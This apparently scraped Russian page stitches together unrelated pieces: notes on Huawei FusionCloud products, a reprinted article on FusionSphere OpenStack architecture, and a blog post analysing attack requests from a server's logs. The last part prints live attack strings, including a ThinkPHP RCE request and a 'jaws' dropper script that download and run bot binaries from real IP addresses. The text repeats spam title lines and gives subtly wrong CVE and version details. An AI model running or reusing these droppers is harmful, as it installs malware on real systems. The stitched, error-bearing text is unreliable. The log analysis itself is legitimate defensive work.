Основы облачных технологий и виртуализации, решения Huawei

Основы облачных технологий и виртуализации, решения huawei – weril

Конспект вебинара HonorCup E=DC2 для сдачи HCNA Cloud.

Облака:

FusionCloud – общее название cloud продуктов Huawei.

Основы облачных технологий и виртуализации, решения Huawei – Weril

FusionSphere – Bare-metal virtualization от Huawei на основе гипервизора XEN, является основой для всех решений Huawei FusionCloud. FusionSphere состоит из двух компонентов – непосредственно системы виртуализации FusionCompute и инструмента по управлению VM FusionManager.

The FusionSphere solution consists of the cloud OS software FusionCompute and cloud management software FusionManager:
- FusionCompute is deployed on physical servers to virtualize the server hardware resources, including CPUs, memory, and network interface cards (NICs).
- FusionManager schedules and manages computing, network, and storage resources in the underlying resource pools in a centralized manner. On FusionManager, users can create VMs for tenants, allocate resources for the VMs, and manage the VMs based on the service requirements.

FusionCompute – cloud OS для виртуализация вычислительных ресурсов (серверов) с помощью VRM (Virtual Resource Manager, менеджер отвечающий за распределение/мониторинг ресурсов). FusionCompute является основой для FusionSphere т.к. в его задачи входят и задачи FusionStorage/Network – он не только виртуализирует x86 сервера, но и устройства хранения/сетевые устройства. Поэтому FusionCompute является обязательным компонентом FusionSphere, в отличии от FusionStorage/Network.
FusionManager – система управления облаком VM, используется для управления этими всеми компонентами. В его задачи входит централизованное управление/мониторинг разными виртуальными платформами, разными устройствами в этих платформах (server, storage, network devices), развертывание сервисов, автоматизация управления, сетевое взаимодействие между разными компонентами (реализация VPC Virtual Private Cloud) и прочее. Причем FusionManager может управлять не только Huawei FusionCompute, но и VMware vCenter. Делает это он используя REST интерфейсы – отдельный для FusionCompute (FusionCompute driver), отдельный для vCenter (VMWare driver based on SDK). REST интерфейсы FusionManager являются открытыми и могут использоваться в “ваших” разработках.

Основы облачных технологий и виртуализации, решения Huawei – Weril

Взаимодействия между FusionManager и FusionCompute со стороны FusionManager осуществляется через driver для FusionCompute. Со стороны через FusionCompute взаимодействие происходит через REST интерфейс, который взаимодействует с драйвером. Помимо REST у FusionManager есть и другие открытые интерфейсы – Java SDK (драйвер для взаимодействия с VMware), SOAP, SNMP.

Дополнительными компонентами FusionSphere являются:

FusionStorage – виртуализация хранения (СХД), для решения вирутализации хранения используется файловая система VIMS (Virtual Image Management System, кастомизированная Open-source ФС OCFS2), на основе которой реализуются функции Thin provisioning, VM snapshot, Storage migration, Linked cloning, etc. VIMS так же используется и FusionCompute.
FusionNetwork – виртуализация сети (сетевых устройств), причем с функционалом очень приближенным к реальным сетевым устройствам (функционал LB Load Balancers, FW FireWall, WLC WireLess Controller, не говоря про “простые” router/switch), но с худшей производительностью.
OpenStack – FusionSphere, по докам самого Huawei, использует технологии виртуализации OpenStack. OpenStack является открытым и на его основе можно развернуть свое облако, он имеет около 15 модулей (управляют образами VM, вычислительными ресурсами, сетью, хранением).

Основы облачных технологий и виртуализации, решения Huawei – Weril

FusionInsight – аналитическая платформа Big Data для быстрого принятия решений (CRM, банковские системы, страховые).

Основы облачных технологий и виртуализации, решения Huawei – Weril

FusionCloud Desktop– VDI (Virtual Desktop Infrustrucute) платформа с масштабированием до 20к VDI на один FusionAccess. Состоит из трех компонентов:

FusionCompute
FusionManager
FusionAccess (иногда можно встретить именно его в контексте всего продукта)

Использует FusionSphere как основу для виртуализации. Есть слой управления виртуальными десктопами. Все это опирается на ресурсе облака, которое опирается на hardware ресурсы. Система управления может быть интегрирована с существующими решениями по автоматизации управления/развертывания. Huawei считает инсталяцию своего продукта самыми масштабными в мире.

Основы облачных технологий и виртуализации, решения Huawei – Weril

Основным внутренним программным компонентом FusionAccess является HDC (Huawei Desktop Controller), на котором хранится ассоциации между VM и пользователями (domain-user), синхронизирует инфу о состоянии VM и занимается прочими вещами.

Основы облачных технологий и виртуализации, решения Huawei – Weril

Как все продукты могут совместно использоваться

Основы облачных технологий и виртуализации, решения Huawei – Weril

FusionCube – не софт, а blade сервер Huawei (видимо, чтобы не просто жилось). На борту может быть in-memory newSQL БД SAP HANA (самая быстрая БД в мире), FusionSphere, VMware vSphere.

Основы облачных технологий и виртуализации, решения Huawei – Weril

Вопросы

все вопросы/ответы по теме тут

Cистемы облачной платформы huawei fusionsphere openstack | savepearlharbor

Основы облачных технологий и виртуализации, решения Huawei – Weril
RUVDS в недавнем времени стала официальным партнером компании Huawei и сейчас мы занимаемся внедрением новой для нас системы виртуализации для того, чтобы предоставить нашим клиентам доступ к самым современным облачным технологиям, обеспечить гибкость в выборе облачного решения соответствующего задаче клиента, высокую надежность и защищенность. Этот опыт для нас новый и интересный и мы решили поделиться им с читателями нашего блога. Перед вами первая из серии статей про Huawei FusionSphere OpenStack.

Платформа виртуализации FusionSphere
Архитектура облачной платформы Huawei FusionSphere OpenStack представлена на Рис. 1-1.
Рис. 1-1 Архитектура облачной платформы Huawei
Основы облачных технологий и виртуализации, решения Huawei – Weril
Huawei FusionSphere OpenStack – это платформа OpenStack корпоративного уровня на основе исходной OpenStack, переработанная и улучшенная компанией Huawei. В решении FusionSphere для облачных центров обработки данных в состав OpenStack включен компонент FusionCompute для поддержки разнообразных служб OpenStack, таких как Keystone, Nova, Cinder, Neutron, Glance, Ceilometer, Heat и Ironic, а также обеспечения комплексных функций O&M.

Базовые возможности служб: в системе FusionSphere OpenStack поддерживаются базовые возможности по установке, развертыванию и O&M, в том числе управление журналами, управление временем (time management), резервное копирование и восстановление, обновление и внесение исправлений (patching).
Возможности OpenStack: взяв за основу исходную OpenStack, компания Huawei расширила ее возможности с применением вычислительных плагинов, сетевых плагинов и плагинов хранения, а также реализовала виртуализацию вычислений, хранения и сети. FusionSphere OpenStack централизованно планирует и администрирует виртуальные ресурсы через унифицированные интерфейсы, благодаря чему снижаются эксплуатационные расходы (OPEX) и обеспечивается высокая защищенность и надежность системы. Это также существенно облегчает для операторов связи и иных предприятий строительство защищенных экологичных и энергоэкономичных облачных центров обработки данных.

Облачная платформа Huawei содержит следующие узлы управления.

Узел управления OpenStack: поддерживает вычислительные плагины, сетевые плагины и плагины хранения, виртуализирует вычислительные, сетевые ресурсы и ресурсы хранения, а также предоставляет унифицированные интерфейсы.
Узел FusionManager: обеспечивает доступ к ресурсам и функции конфигурирования, контроля и технического обслуживания.
Узел управления FusionCompute: обеспечивает основные функции виртуализации.

Он виртуализирует серверы, устройства хранения и сетевые устройства, а также предоставляет интерфейсы для взаимодействия с FusionSphere OpenStack. Каждая система FusionCompute управляется парой узлов управления виртуальными ресурсами (VRM; Virtual Resource Management), работающих в режиме «активный / резервный». Одна система FusionCompute управляет физическим кластером (называемым также объектом или площадкой). Несколько физических серверов физического кластера могут быть объединены в кластер ресурсов (также называемый пулом ресурсов с функцией HA). В одном пуле вычислительных ресурсов действуют единые политики планирования ресурсов. Для обеспечения работы политик планирования, связанных с динамической миграцией, необходимо, чтобы ЦП физических серверов в пуле ресурсов принадлежали к одному и тому же поколению. В пул вычислительных ресурсов не входят сетевые ресурсы и ресурсы хранения. В одном физическом кластере может содержаться несколько кластеров ресурсов.
Службы и узлы решения FusionSphere OpenStack представлены на Рис. 1-2.
Рис. 1-2 Службы и узлы решения FusionSphere OpenStack
Основы облачных технологий и виртуализации, решения Huawei – Weril
На этом рисунке показаны следующие службы и узлы:

Glance: хранит и восстанавливает образы дисков VM. Служба Glance используется в FusionSphere OpenStack для формирования экземпляров.
Cinder: обеспечивает надежное блоковое хранилище для работающих экземпляров. Создание блокового хранилища и управление им облегчаются за счет наличия сменных накопителей.
Nova: управляет жизненным циклом вычислительных экземпляров в среде OpenStack, например, созданием пакетов экземпляров, а также планированием или остановкой экземпляров по требованию.
Neutron: обеспечивает интерфейсы API для сетевых соединений и адресации.
Узел VRM: управляет пулами виртуальных ресурсов.
Агент вычислительного узла (CNA; Computing Node Agent): управляет вычислительными ресурсами

.
Драйвер Nova-compute обеспечивает работу FusionSphere OpenStack с функциями, предоставляемыми FusionCompute, включая динамическую миграцию, НА, планирование распределенных ресурсов (DRS) и QoS для ЦП.
Драйвер Cinder-volume обеспечивает взаимодействие FusionSphere OpenStack с любыми устройствами хранения, сертифицированными на совместимость с FusionCompute, а также управление FusionStorage посредством FusionCompute, обеспечивая экономически эффективное решение для хранения, применимое для крупных облачных центров обработки данных.
FusionCompute подключается к Ceilometer и передает в Ceilometer информацию о контроле VM. Благодаря этому арендаторы могут пользоваться функциями контроля и выдачи аварийных сигналов Ceilometer, а также функцией гибкого масштабирования Heat.
Компонент FusionCompute, включающий в себя агента Open vSwitch (OVS), подключается к Neutron, благодаря чему он может использовать экосистему Neutron для бесшовной интеграции с сетевыми службами сторонних производителей.
Благодаря наличию драйверов Nova и Cinder, а также механизма обхода Glance, FusionSphere OpenStack поддерживает хранение образов в сторонних системах NFS или S3, за счет чего обеспечивается высокая параллельность и производительность служб образов, а также устраняются узкие места службы Glance. Помимо этого, FusionCompute поддерживает взаимодействие с собственной Glance с целью обслуживания образов.
Служба формирования облака (CPS; Cloud Provisioning Service) обеспечивает такие базовые функции, как установка аппаратных устройств без операционной системы и развертывание ПО OpenStack. Предусмотрен также графический интерфейс пользователя (GUI), упрощающий развертывание и конфигурирование OpenStack.

Администрирование и контроль ресурсов FusionManager
Ресурсами центров обработки данных управляет разработанная в Huawei система управления FusionManager, входящая в состав решения FusionSphere. FusionManager обеспечивает разнообразные функции управления пулом ресурсов с помощью предоставляемых OpenStack «северных» API, а также обеспечивает функции управления аппаратными средствами с помощью встроенных субмодулей управления аппаратными средствами.
Место FusionManager в решении FusionSphere показано на Рис. 1-3.
Рис. 1-3 Место FusionManager в решении
Основы облачных технологий и виртуализации, решения Huawei – Weril
FusionManager обеспечивает следующие функции.

Управление внешними сетями

Позволяет пользователям создавать, просматривать и удалять внешние сети, подключенные к OpenStack.

Позволяет пользователям запрашивать информацию о хостах и контролировать их, получать информацию о работе хоста в течение заданного периода времени (задаваемого в днях или неделях).

Управление характеристиками VM

Пользователь может конфигурировать, запрашивать и удалять спецификации VM, а также указывать режим запуска VM.

Пользователь может создавать, загружать, удалять, изменять и экспортировать образы.
FusionManager поддерживает различные форматы образов, включая ISO, RAW, QCOW2, VMDK, VHD и AMI.

Управление аварийными сигналами

Выводит все аварийные сигналы системы. После устранения неисправности аварийный сигнал автоматически сбрасывается.
Пользователь может сбрасывать аварийные сигналы вручную и экспортировать информацию о них.
Пользователь может устанавливать серьезность аварийных сигналов, включая уровни «critical», «major» и «minor».
Пользователь может маскировать аварийные сигналы. Маскированные аварийные сигналы не выдаются.
Обеспечивает выдачу аварийных сигналов в сторонние системы по электронной почте, в коротких сообщениях или по простому протоколу управления сетью (SNMP; Simple Network Management Protocol).
Предоставляет пользователям возможность сбора различной статистической информации об аварийных сигналах, включая сведения об объекте, времени и серьезности. Статистика по аварийным сигналам позволяет анализировать аварийные сигналы, тенденции и отказы, а также предотвращать отказы.

Контроль рабочих характеристик

− Контролирует рабочие характеристики хостов и VM.
− Контролирует уровень загрузки ЦП, памяти и хранилищ для хостов и VM.

− Предоставляет отчеты по контролю хостов и VM, как архивные, так и в реальном времени.
− Позволяет пользователям запрашивать отчеты, сформированные за определенные периоды времени, например, за сутки, неделю или месяц.
Информация о контроле сервера содержит следующие сведения:
− Статистика по аварийным сигналам
− Коэффициент загрузки ЦП
− Использование памяти
− Величина входящего и исходящего сетевого трафика
− Нагрузка на дисковый ввод / вывод и использование диска
Информация о контроле устройств хранения содержит следующие сведения:
− Статистика по аварийным сигналам
− Состояние монтирования
− Суммарный объем
− Выделенный объем и доступный объем
Информация о контроле сети содержит следующие сведения:
− Величина входящего и исходящего сетевого трафика
− Состояние портов
− Трафик через порты
Информация о контроле VM содержит следующие сведения:
− Состояние VM
− Коэффициент загрузки ЦП
− Использование памяти
− Величина входящего и исходящего сетевого трафика
− Нагрузка на дисковый ввод / вывод и использование диска

FusionSphere предоставляет открытые API для передачи данных об аварийных сигналах во внешние системы.
− Интерфейсы запроса аварийных сигналов (HTTP REST):

Запрос списка и состояния аварийных сигналов
Запрос ресурсов, имеющих аварийные сигналы

− Интерфейсы подписки на получение аварийных сигналов (HTTP REST)
− Интерфейсы передачи аварийных сигналов (SNMP)

Основные функции FusionSphere
Виртуализация вычислений
В системе FusionSphere для виртуализации вычислительных ресурсов сервера используется архитектура типа bare-metal (без ОС). Один сервер может быть виртуализирован как несколько отдельных виртуальных серверов, что позволяет улучшить использование ресурсов сервера и упростить управление системой.
Система FusionSphere поддерживает учет сродства VM (VM affinity), позволяющий размещать различные VM на различных серверах согласно заданным правилам с целью реализации режима взаимной поддержки VM или конфигурирования активных и резервных VM, что повышает экономическую эффективность решения.

Сродство по взаимному размещению (Location Affinity)

− «Совместное размещение» (Keep VMs together): подпадающие под это правило VM должны работать на одном и том же хосте. Любая VM может быть приписана только к одному правилу Keep VMs together.
− «Взаимное исключение» (Mutually exclusive): подпадающие под это правило VM должны работать на разных хостах. Любая VM может быть приписана только к одному правилу Mutually exclusive.
− «VM по хостам» (VMs to hosts): Это правило привязывает группу VM к группе хостов, то есть VM из группы VM могут развертываться только на хостах данной группы и мигрировать между хостами только в пределах этой группы.

Сродство по возможностям (Capability Affinity): на физических серверах с целью повышения эффективности доступа ЦП к памяти организуются узлы неоднородного доступа к памяти (NUMA; Non-Uniform Memory Access). ЦП и используемые VM (гостевыми) ресурсы памяти группируются в узлы NUMA в зависимости от эффективности доступа ЦП к памяти. Максимальная эффективность доступа ЦП к памяти достигается в случае доступа к памяти в пределах его собственного узла NUMA. При создании VM FusionSphere предпочтительно выделяет ЦП и ресурсы памяти, необходимые для этой VM, на одном узле NUMA, снижая таким образом задержки при доступе к памяти и повышая производительность памяти.

Управление ресурсами VM
Пользователи могут создавать VM с помощью шаблона VM или «с чистого листа» и управлять кластеризованными ресурсами, включая автоматическое планирование ресурсов, управление VM (создание, удаление, запуск, останов, перезапуск VM, перевод VM в спящий режим и вывод из него), управлять ресурсами хранения (обычными и совместно используемыми дисками), а также управлять обеспечением безопасности VM.
Система FusionSphere также поддерживает динамическую миграцию VM и VM с высокой доступностью (HA).
С помощью FusionSphere пользователи могут задавать количество виртуальных ЦП (vCPU), размер памяти, сетевые платы (NIC), а также состояние подключения и отключения томов.
Виртуализация сети
Система FusionSphere поддерживает следующие функции виртуализации сети:

Контроль пропускной способности сети с обеспечением QoS
Распределенные виртуальные коммутаторы (DVS; Distributed Virtual Switch)
Поддержка интерфейса SR-IOV (Single-Root I/O Virtualization), повышающего производительность сетевой обработки
Соединение с сетью OpenStack Neutron

Виртуализация хранилища
Система FusionSphere поддерживает ПО распределенного хранения Huawei FusionStorage, а также дисковые массивы, такие как сеть хранения fibre channel (FC SAN) и хранилище IP SAN.
Управление виртуальным центром обработки данных
Для упрощения конфигурирования услуг в системе FusionSphere предусмотрены различные шаблоны и спецификации.
Частное облако полностью изолировано от всех VM, не размещенным в этом частном облаке. Предприятие может запрашивать VPC на платформе публичного облака и использовать в этом VPC независимые IP-адреса и подсети. Кроме того, с целью разделения подсетей в VPC и отделения подсетей от внешних сетей предприятие может использовать правила списка управления доступом (ACL) физических межсетевых экранов.
Пользователи могут запросить создание группы безопасности на основании требований VM к безопасности и установить для этой группы безопасности правила доступа. После добавления VM в группу безопасности эта VM подпадает под действие установленных правил. Группы безопасности позволяют надежно изолировать VM и управлять доступом к ним, что повышает защищенность VM.
Эластичный IP-адрес позволяет пользователям использовать фиксированный общедоступный IP-адрес для доступа к той VM, которой этот общедоступный IP-адрес соответствует.
Управление несколькими центрами обработки данных
Если у предприятия или оператора связи имеется несколько центров обработки данных, размещенных в разных регионах, то технология каскадирования OpenStack помогает организовать централизованное управление несколькими центрами обработки данных и их техническое обслуживание.

Надежность FusionSphere OpenStack
Решение по виртуализации центра обработки данных обеспечивает надежность и непрерывность обслуживания различных компонентов системы, в том числе серверов, хранилища, сети и виртуализации.
Высокая доступность (НА) OpenStack
Надежность OpenStack определяется надежностью предоставляемых OpenStack услуг, а именно:

Надежностью услуги REST (Representational State Transfer; «передача состояния представления») API, обеспечивающей для пользователей непрерывное предоставление услуг API.
Надежностью службы базы данных, гарантирующей целостность данных пользовательской конфигурации и непрерывность обслуживания.
Надежностью службы соединений, обеспечивающей непрерывную связь между компонентами.

Надежность виртуализации
Виртуализация является основным механизмом обеспечения работы центра обработки данных. После виртуализации с помощью FusionSphere центр обработки данных поддерживает функции динамической миграции VM и VM HA, обеспечивающие непрерывность работы услуг, а также поддерживает создание мгновенных снимков VM и томов с целью быстрого восстановления системы при возникновении неисправности.
Надежность управления
Все модули управления FusionSphere развертываются для работы в режиме «активный / резервный» или режиме балансировки нагрузки, что обеспечивает высокую надежность системы.
FusionSphere поддерживает контроль физических серверов, программного обеспечения и ресурсов, а также обеспечивает разнообразные возможности обнаружения и устранения неисправностей. FusionSphere собирает информацию об основных показателях работы серверов, таких как коэффициент загрузки ЦП, основной сетевой трафик и данные о памяти. Таким образом он проверяет состояние системы и при обнаружении таких неисправностей, как исключения процессора, отказ каналов управления и хранения, отказ узла или перегрузка ресурсов системы, выдает аварийные сигналы. Эти аварийные сигналы могут сбрасываться системой автоматически или должны своевременно обрабатываться администратором.
Во всех физических серверах системы FusionSphere используется технология «черного ящика», расширяющая возможности устранения отказов. В случае возникновения системных исключений она автоматически сохраняет журналы ядра, мгновенные снимки системы, информацию о диагностике ядра и последние сообщения в энергонезависимом устройстве хранения, таком как вычислительный узел, или выгружает эту информацию в сетевой сервер, например, сервер журналов. Благодаря этой технологии пользователи могут оперативно анализировать журналы «черного ящика», находить причины неисправностей и устранять их.
Все службы OpenStack для обеспечения резервирования развертываются в режиме «активный-активный» или «активный-резервный».
Надежность серверов
В системе FusionSphere надежность серверов обеспечивается следующими мерами:

Контроль температуры в реальном времени основных тепловыделяющих и теплоотводящих компонентов, таких как ЦП, память, вентиляторы, источники питания и жесткие диски. При возникновении отказа выдается аварийный сигнал.

Интеллектуальный контроль скорости вращения вентиляторов и управление ею.

Возможность горячей замены жестких дисков, применение массивов RAID и обнаружение отказов работающих жестких дисков с выдачей предупреждений.

Резервирование источников питания по схеме 1 1 и возможность их горячей замены.

Надежность хранения
При виртуализации центров обработки данных обычно применяются централизованные совместно используемые устройства хранения SAN. Huawei FusionSphere поддерживает автономную миграцию хранилища (cold migration) и динамический планировщик ресурсов (DRS; Dynamic Resource Scheduler) на основе операций ввода / вывода хранилища.
FusionSphere также поддерживает для хранилища функцию передачи по нескольким маршрутам (multipathing). Между каждым вычислительным узлом и кластером хранения формируются как минимум два полностью резервированных тракта. Как правило, между VM и устройством хранения устанавливается восемь трактов, что существенно повышает надежность сети хранения.
Кроме этого, для обеспечения надежности физических соединений в устройствах хранения SAN используется не менее двух контроллеров, а для резервного копирования и восстановления данных применяются диски с горячим резервированием.
В системе FusionStorage данные хранятся в виде нескольких одинаковых копий на различных серверах или дисках. Поэтому отказ одного аппаратного устройства не приводит к прерыванию обслуживания. Кроме того, в системе FusionStorage используется высоконадежная технология копирования, обеспечивающая идентичность копий данных.
Надежность сети
Сеть облачного центра обработки данных формируется с физическим резервированием всех сетевых линков. Коммутаторы доступа могут быть объединены в стек для создания резервированных соединений между физическими серверами, агрегирующими коммутаторами и уровнем виртуальной сети. На уровне виртуальной сети не менее двух NIC одного сервера объединяются в логическую NIC, за счет чего предотвращаются прерывания обслуживания по причине отказа одной NIC.
На каждой из плоскостей взаимодействия (услуги, хранение и управление) имеется по две NIC, объединенных в одну логическую NIC и работающих в связанном режиме. Такая структура позволяет разделить трафик доступа между серверами и обеспечивает надежную работу NIC.

В следующей статье мы рассмотрим планирование вычислительных ресурсов, необходимое количество серверов и ресурсов хранения.

ссылка на оригинал статьи https://habrahabr.ru/post/280900/

Вопрос безопасности сервера с каждым днём становятся всё более актуальней, а обеспечение их безопасности — всё сложнее. После 28 мая 2022 г. участились кибер атаки в том числе на малый и средний бизнес. Эта напасть не обошла стороной и Красноярск. За месяц пострадало 4 клиента нашей небольщой компании. У всех четверых, при посещении сайта, появлялся видео ролик с антивоенными призывами. Из них трое настраивали свой сервер сами и сказать как их взломали я не могу поскольку не владею объективной информацией. По четвёртому точно знаю что он попался на фишинг и передал злоумышленнику доступ по ssh.

Обычно результатом атак становится репутационный, финансовый ущерб или потеря данных. Во всех наших случаях, финансовая потеря измерялась временем восстановления потерянных данных. Так как мы приучаем своих клиентов почаще делать бэкапы и не хранить их рядом с сайтом, потери оказались не существенными.

Атаки касаются не только web или иных серверов, но и различных устройств. Ребята из компании «Призма», занимаются проектированием, монтажом и обслуживанием систем безопасности. Не так давно до 28 мая к ним на обслуживание видео наблюдения, перешли несколько объектов, с не самым новым оборудованием. В один день пропала связь с оборудованием, но при этом трафик продолжал «уходить». Логин и пароль к роутерам уже не подходили. Похоже на то что злоумышленники как минимум сменили параметры доступа, а как максимум сменили прошивку. После обновления прошивки на последнюю официальную версию производителя данных роутеров, всё стало работать без перебоев, и больше подобного не повторялось.

Ввиду того что злоумышленники ищут способы для обнаружения слабых мест серверов и сетевого оборудования, с целью проникнуть в информационную систему компьютера пользователя или организации не стоит пренебрегать обновлением программного обеспечения.

Хочу привести примеры несостоявшихся атак на мой личный сервер, которые я обнаружил в логах, и попробовать разобрать их суть и опасность.

POST /editBlackAndWhiteList

Основы облачных технологий и виртуализации, решения Huawei – Weril

Начнём с самого безобидного для вэб сайта. Уязвимость удаленного выполнения кода NVMS-9000 Digital Video Recorder. NVMS-9000 имел жестко закодированные учетные данные администратора для аутентификации. Удаленный неаутентифицированный злоумышленник может использовать жестко закодированные учетные данные администратора для выполнения своего кода на компьютере жертвы. Эта уязвимость направлена на видео регистраторы конкретной фирмы и модели.

GET /phpmyadmin

Искали точку входа в базу данных.

GET /HNAP1

Сканировали поддержку протокола HNAP. С января 2022 года, в нескольких сетевых устройствах D-Link были обнаружены уязвимости, в которых можно было обойти HNAP-аутентификацию. Более подробно — здесь.

POST /GponForm/diag_Form?images

Даёт возможность обойти механизм аутентификации — для выполнения любых операции в web-интерфейсе достаточно добавить строку «?images/» к URL страницы. Если запросить URL «/images/» то устройство перезагружается. Уязвимость присутствует в типовом HTTP-сервере, применяемом в различных моделях домашних GPON-маршрутизаторах.

GET /.env; GET /admin/.env; GET /admin-app/.env; GET /api/.env; GET /back/.env; GET /backend/.env; GET /cp/.env

Поискав информацию о файле «.env» я наткнулся на конструктор Vue CLI который использует этот файл для настройки переменных окружения, содержит пары ключ=значение. На сайте «Vuejs.org» в руководстве написано следующее: «ВНИМАНИЕ Не храните никаких секретов (например, приватных ключей API) в приложении! Так как переменные окружения внедряются в сборку, то любой желающий сможет увидеть их, изучив файлы сборки приложения.» Я предполагаю что это рассчитано на тех кто не читал руководство и решил таки хранить секреты в вышеуказанном файле.

GET /wp-login.php

Эта атака направлена на взлом WordPress. По умолчанию URL входа выглядит так /wp-login.php. Подробную статью о том как взломали блог, можно прочитать на habr.com.

GET /.aws/credentials

AWS CLI — это единый инструмент для управления сервисами AWS. В файле credentials находятся данные к AWS. Там могут быть данные к учетной записи AWS (access key ID, secret access key и session token). Полученную таким образом учетную запить можно использовать для удаленного доступа в будущем.

GET /actuator/gateway/routes; GET /actuator/health

Это актуально для тех кто пользуется модулем Spring Cloud, который позволяет хранить все конфигурации для разных приложений и разных окружений в одном месте. В документации на API описан «actuator/gateway/routes» запрос. Он нужен для получения информации обо всех маршрутах, определенных в шлюзе. Этот (actuator/health) запрос, показывает сведения о работоспособности приложения.

«x16x03x01x00cx01x00x00_x03x01xD3xCCxDDx0Ex19xDEsxBDxBEx933AxC2:xEF=xB7xD96zxB5x8ExC6KxDAWxA0h,xEAxF1xA5x00x00x12xC0»

Такие ошибки могут возникать на сайте при некорректно настроенном на использование SSL. Но может быть и другой вариант. Запрос может быть направлен на уязвимость SSLv3 POODLE которая позволяет сетевому злоумышленнику вычислить открытый текст защищенных соединений.

GET /?XDEBUG_SESSION_START=phpstorm

Атака на сервер, использующая уязвимость php-модуля Xdebug версии < 2.5.5. Подробно про эту атаку написано здесь. А если в двух словах, то злоумышленник получает доступ по протоколу DBGp от имени пользователя веб сервера.

POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php

CVE-2022-9841 Уязвимость позволяет злоумышленнику удаленно запускать PHP код на сайтах, используя брешь в PHPUnit.

GET /owa/auth/logon.aspx?url=https://1/ecp/

Уязвимость SSRF через параметр username в /owa/auth/logon.aspx на странице входа в OWA (Outlook Web Access).Для Microsoft Exchange Server 2022 SP3 и предыдущих версий.

POST /Autodiscover/Autodiscover.xml

Компании Guardicore обнаружили серьезный баг в Microsoft Exchange. С помощью его имеется возможность собирать учетные данные от домена и приложений Windows. Проблема в некорректной работе протокола Microsoft Autodiscover. Благодаря этой функции почтовые клиенты могут автоматически обнаруживать почтовые серверы, предоставлять им учетные данные и получать соответствующие настройки. Клиент будет перебирать URL-адреса до тех пор, пока он не будет успешно аутентифицирован на сервере Microsoft Exchange и не получит информацию о конфигурации. К тому же этот механизм имеет процедуру «отката», которая срабатывает, если клиент не находит эндпоинт Autodiscover Exchange.

GET /_ignition/execute-solution

В библиотеке Ignition, поставляемой с Laravel, обнаружили уязвимость, которая позволяет неавторизованным пользователям выполнять произвольный код. Уязвимость возможна из за некорректной обработки параметров POST-запроса.

POST /cgi-bin/../../../../bin/sh

Проблема касается вэб сервера Apache версии 2.4.49 под идентификатором CVE-2021-41773. Ошибка состоит в том как Apache выполняет нормализацию URL.

«Злоумышленник мог использовать атаку обхода пути для сопоставления URL-адресов с файлами за пределами каталогов, настроенных директивами типа Alias. Если файлы вне этих каталогов не защищены обычной конфигурацией по умолчанию «require all denied», эти запросы могут быть успешными. Если CGI-скрипты также разрешены для этих псевдослучайных путей, это может привести к удаленному выполнению кода»

GET /index.php?s=/index/x09hinkx07pp/invokefunction/>function=call_user_func_array/>vars[0]=shell_exec/>vars[1][]= ‘wget http://146.0.75.242/YourName/BinName.x86 -O /tmp/.Fdp; chmod 777 /tmp/.Fdp;/tmp/.Fdp ThinkPHP.x86.Selfrep

Попытка запустить php функцию call_user_func_array с параметрами «vars[0], vars[1][]» и выполнить код удаленно. Таких запросов у меня в логах больше всего. В данном случае похоже пытались использовать уязвимость во фреймворке ThinkPHP. Пробовал скачать файл который злоумышленники предложили, но сервер уже не доступен.

POST /mifs/.;/services/LogService

Злоумышленник может добиться неаутентифицированного удаленного выполнения кода с произвольным вектором десериализации Java. Выполнение кода достигается путем произвольной десериализации в Java с использованием протокола Hessian. Аутентификация, которую можно обойти с помощью данного запроса.

GET /shell?cd /tmp;rm -rf *;wget jx.qingdaosheng.com/jaws;sh /tmp/jaws

В этом случае происходит попытка скачать файл через shell, а затем его запустить. Возможно этот случай в интерне уже рассматривали, но иногда хочется быть причастным хоть к чему-то полезному. Любопытство взяло верх и я решил разобрать этот вариант «по косточкам». Для начала надо получить файл который нам злоумышленники предлагают скачать. Файл с названием «jaws» оказался на месте. Так как это открытый источник злоумышленников, если я его скачаю, ничего противозаконного в этом не будет. В скачанном файле всё тот-же shell скрипт.

#!/bin/bash cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://156.234.211.155/ma/meihao.x86; curl -O http://156.234.211.155/ma/meihao.x86; cat meihao.x86 > systemdas; chmod x *; ./systemdas jaws.exploit cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://156.234.211.155/ma/meihao.mips; curl -O http://156.234.211.155/ma/meihao.mips; cat meihao.mips > systemdas; chmod x *; ./systemdas jaws.exploit cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://156.234.211.155/ma/meihao.mpsl; curl -O http://156.234.211.155/ma/meihao.mpsl; cat meihao.mpsl > systemdas; chmod x *; ./systemdas jaws.exploit cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://156.234.211.155/ma/meihao.arm; curl -O http://156.234.211.155/ma/meihao.arm; cat meihao.arm > systemdas; chmod x *; ./systemdas jaws.exploit cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://156.234.211.155/ma/meihao.arm5; curl -O http://156.234.211.155/ma/meihao.arm5; cat meihao.arm5 > systemdas; chmod x *; ./systemdas jaws.exploit cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://156.234.211.155/ma/meihao.arm6; curl -O http://156.234.211.155/ma/meihao.arm6; cat meihao.arm6 > systemdas; chmod x *; ./systemdas jaws.exploit cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://156.234.211.155/ma/meihao.arm7; curl -O http://156.234.211.155/ma/meihao.arm7; cat meihao.arm7 > systemdas; chmod x *; ./systemdas jaws.exploit cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://156.234.211.155/ma/meihao.ppc; curl -O http://156.234.211.155/ma/meihao.ppc; cat meihao.ppc > systemdas; chmod x *; ./systemdas jaws.exploit cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://156.234.211.155/ma/meihao.m68k; curl -O http://156.234.211.155/ma/meihao.m68k; cat meihao.m68k > systemdas; chmod x *; ./systemdas jaws.exploit cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://156.234.211.155/ma/meihao.spc; curl -O http://156.234.211.155/ma/meihao.spc; cat meihao.spc > systemdas; chmod x *; ./systemdas jaws.exploit cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://156.234.211.155/ma/meihao.i686; curl -O http://156.234.211.155/ma/meihao.i686; cat meihao.i686 > systemdas; chmod x *; ./systemdas jaws.exploit cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://156.234.211.155/ma/meihao.sh4; curl -O http://156.234.211.155/ma/meihao.sh4; cat meihao.sh4 > systemdas; chmod x *; ./systemdas jaws.exploit cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://156.234.211.155/ma/meihao.arc; curl -O http://156.234.211.155/ma/meihao.arc; cat meihao.arc > systemdas; 